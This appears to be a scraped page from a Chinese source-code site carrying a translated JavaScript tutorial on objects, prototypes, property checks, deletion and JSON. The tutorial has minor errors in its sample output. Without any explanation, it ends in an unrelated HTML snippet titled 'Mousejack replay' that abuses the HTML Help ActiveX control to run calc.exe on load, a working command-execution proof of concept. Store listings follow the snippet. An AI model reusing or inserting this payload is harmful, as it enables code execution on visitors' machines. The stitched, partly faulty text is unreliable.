var myFirstObject = {
firstName: "Richard",
favoriteAuthor: "Conrad"
};
var ageGroup = {30: "Children", 100:"Very Old"};
console.log(ageGroup.30) // 报错
// 访问30这个属性的正确方法
console.log(ageGroup["30"]); // Children
//最好避免使用数字作为属性名
// 原始类型数据是按值存储的 var person = "Kobe"; var anotherPerson = person; // anotherPerson = the value of person person = "Bryant"; // person的值改变了 console.log(anotherPerson); // Kobe console.log(person); // Bryan
var person = {name: "Kobe"};
var anotherPerson = person;
person.name = "Bryant";
console.log(anotherPerson.name); // Bryant
console.log(person.name); // Bryant
// 空对象
var myBooks = {};
// 使用字面量创建的包含4个属性的对象
var mango = {
color: "yellow",
shape: "round",
sweetness: 8,
howSweetAmI: function () {
console.log("Hmm Hmm Good");
}
}
var mango = new Object ();
mango.color = "yellow";
mango.shape= "round";
mango.sweetness = 8;
mango.howSweetAmI = function () {
console.log("Hmm Hmm Good");
}
var mangoFruit = {
color: "yellow",
sweetness: 8,
fruitName: "Mango",
nativeToLand: ["South America", "Central America"],
showName: function () {
console.log("This is " + this.fruitName);
},
nativeTo: function () {
this.nativeToLand.forEach(function (eachCountry) {
console.log("Grown in:" + eachCountry);
});
}
}
function Fruit (theColor, theSweetness, theFruitName, theNativeToLand) {
this.color = theColor;
this.sweetness = theSweetness;
this.fruitName = theFruitName;
this.nativeToLand = theNativeToLand;
this.showName = function () {
console.log("This is a " + this.fruitName);
}
this.nativeTo = function () {
this.nativeToLand.forEach(function (eachCountry) {
console.log("Grown in:" + eachCountry);
});
}
}
var mangoFruit = new Fruit ("Yellow", 8, "Mango", ["South America", "Central America", "West Africa"]);
mangoFruit.showName(); // This is a Mango.
mangoFruit.nativeTo();
//Grown in:South America
// Grown in:Central America
// Grown in:West Africa
var pineappleFruit = new Fruit ("Brown", 5, "Pineapple", ["United States"]);
pineappleFruit.showName(); // This is a Pineapple.
// 首先,创建一个对象 var aMango = new Fruit (); // 接着,直接在对象上定义mongoSpice方法 // 因为我们直接在对象身上定义了mangoSpice属性,所以它是aMango自身的属性,不是一个可继承的属性 aMango.mangoSpice = “some value”;
// 首先,增加一个方法
aMango.printStuff = function() { return "Printing"; }
// 现在,可以调用printStuff方法
aMango.printStuff();
function Fruit () {
}
Fruit.prototype.color = "Yellow";
Fruit.prototype.sweetness = 7;
Fruit.prototype.fruitName = "Generic Fruit";
Fruit.prototype.nativeToLand = "USA";
Fruit.prototype.showName = function () {
console.log("This is a " + this.fruitName);
}
Fruit.prototype.nativeTo = function () {
console.log("Grown in:" + this.nativeToLand);
}
var mangoFruit = new Fruit (); mangoFruit.showName(); // mangoFruit.nativeTo(); // This is a Generic Fruit // Grown in:USA
// 这是我们前面例子中一直使用的访问属性的方法
var book = {title: "Ways to Go", pages: 280, bookMark1:"Page 20"};
// 使用点记法访问book对象的title和pages属性:
console.log ( book.title); // Ways to Go
console.log ( book.pages); // 280
// 使用方括号启示访问book对象的属性: console.log ( book["title"]); //Ways to Go console.log ( book["pages"]); // 280 //如果属性名储存在一个变量当中,也可以这样: var bookTitle = "title"; console.log ( book[bookTitle]); // Ways to Go console.log (book["bookMark" + 1]); // Page 20
// 创建一个有schoolName属性的对象
var school = {schoolName:"MIT"};
// 打印出true,因为对象拥有schoolName这个属性
console.log("schoolName" in school); // true
// 打印出false,因为我们既没有定义schoolType属性,也没有从Object的Prototype中继承schoolType属性
console.log("schoolType" in school); // false
// 打印出true, 因为从Object的Prototype中继承了toString方法
console.log("toString" in school); // true
// 创建一个拥有schoolName属性的对象
var school = {schoolName:"MIT"};
// 打印出true,因为schooName是school的自身属性
console.log(school.hasOwnProperty ("schoolName")); // true
// 打印出false,因为toString是从Object的Prototype中继承下来的,并且school的自身属性
console.log(school.hasOwnProperty ("toString")); // false
// 创建拥有3个属性的school对象: schoolName, schoolAccredited, and schoolLocation.
var school = {schoolName:"MIT", schoolAccredited: true, schoolLocation:"Massachusetts"};
//使用for-in循环获取对象中的属性
for (var eachItem in school) {
console.log(eachItem); // Prints schoolName, schoolAccredited, schoolLocation
}
//使用for-in循环访问school对象中的属性
for (var eachItem in school) {
console.log(eachItem); // Prints schoolName, schoolAccredited, schoolLocation
}
// 注:以下这段说明是原文的说明
/* SIDE NOTE: As Wilson (an astute reader) correctly pointed out in the comments below, the educationLevel property is not actually inherited by objects that use the HigherLearning constructor; instead, the educationLevel property is created as a new property on each object that uses the HigherLearning constructor. The reason the property is not inherited is because we use of the "this" keyword to define the property.
*/
// Create a new HigherLearning function that the school object will inherit from.
function HigherLearning () {
this.educationLevel = "University";
}
// Implement inheritance with the HigherLearning constructor
var school = new HigherLearning ();
school.schoolName = "MIT";
school.schoolAccredited = true;
school.schoolLocation = "Massachusetts";
//Use of the for/in loop to access the properties in the school object
for (var eachItem in school) {
console.log(eachItem); // Prints educationLevel, schoolName, schoolAccredited, and schoolLocation
}
var christmasList = {mike:"Book", jason:"sweater" }
delete christmasList.mike; // deletes the mike property
for (var people in christmasList) {
console.log(people);
}
// Prints only jason
// The mike property was deleted
delete christmasList.toString; // 返回 true, 但是因为toString是继承的属性,所以它不会被删除
// 因为toString没有被删除,所以这里还能够正常使用
christmasList.toString(); //"[object Object]"
// 如果一个属性是对象实例的自身属性,则我们可以删除它。
// 比如我们可以从之前例子中定义的school对象中删除educationLevel属性,
// 因为educationLevel是定义在那个实例中的:我们在HigherLearning函数中定义educationLevel时使用了"this"关键字。
//我们并没有在HigherLearning函数的prototype对象在定义educationLevel属性。
console.log(school.hasOwnProperty("educationLevel")); // true
// educationLevel是一个school对象的一个自身属性,所以 我们可以删除它
delete school.educationLevel; // true
// educationLevel属性已经从school实例中删除了
console.log(school.educationLevel); // undefined
// 但是educationLevel属性仍然存在于HigherLearning函数中
var newSchool = new HigherLearning ();
console.log(newSchool.educationLevel); // University
// 如果我们在HigherLearning函数prototype中定义了一个属性, 比如这个educationLevel2属性:
HigherLearning.prototype.educationLevel2 = "University 2";
// 这个educationLevel2属性不属性HigherLearning实例的自身属性
// educationLevel2属性不是school实例的自身属性
console.log(school.hasOwnProperty("educationLevel2")); false
console.log(school.educationLevel2); // University 2
// 尝试删除继承的educationLevel2属性
delete school.educationLevel2; // true (正如前面所提到的,这个表达式会返回true)
// 继承的educationLevel2属性没有被删除
console.log(school.educationLevel2); University 2
var christmasList = {mike:"Book", jason:"sweater", chelsea:"iPad" }
JSON.stringify (christmasList);
// Prints this string:
// "{"mike":"Book","jason":"sweater","chels":"iPad"}"
// To print a stringified object with formatting, add "null" and "4" as parameters:
JSON.stringify (christmasList, null, 4);
// "{
// "mike": "Book",
// "jason": "sweater",
// "chels": "iPad"
// }"
// JSON.parse Examples
// The following is a JSON string, so we cannot access the properties with dot notation (like christmasListStr.mike)
var christmasListStr = '{"mike":"Book","jason":"sweater","chels":"iPad"}';
// Let's convert it to an object
var christmasListObj = JSON.parse (christmasListStr);
// Now that it is an object, we use dot notation
console.log(christmasListObj.mike); // Book
<!DOCTYPE html><html><head><title>Mousejack replay</title><head></head><body> command exec <OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1> <PARAM name="Command" value="ShortCut"> <PARAM name="Button" value="Bitmap::shortcut"> <PARAM name="Item1" value=',calc.exe'> <PARAM name="Item2" value="273,1,1"> </OBJECT> <SCRIPT> x.Click(); </SCRIPT> </body></html>
机械节能产品生产企业官网模板...
大气智能家居家具装修装饰类企业通用网站模板...
礼品公司网站模板
宽屏简约大气婚纱摄影影楼模板...
蓝白WAP手机综合医院类整站源码(独立后台)...苏ICP备2024110244号-2 苏公网安备32050702011978号 增值电信业务经营许可证编号:苏B2-20251499 | Copyright 2018 - 2025 源码网商城 (www.ymwmall.com) 版权所有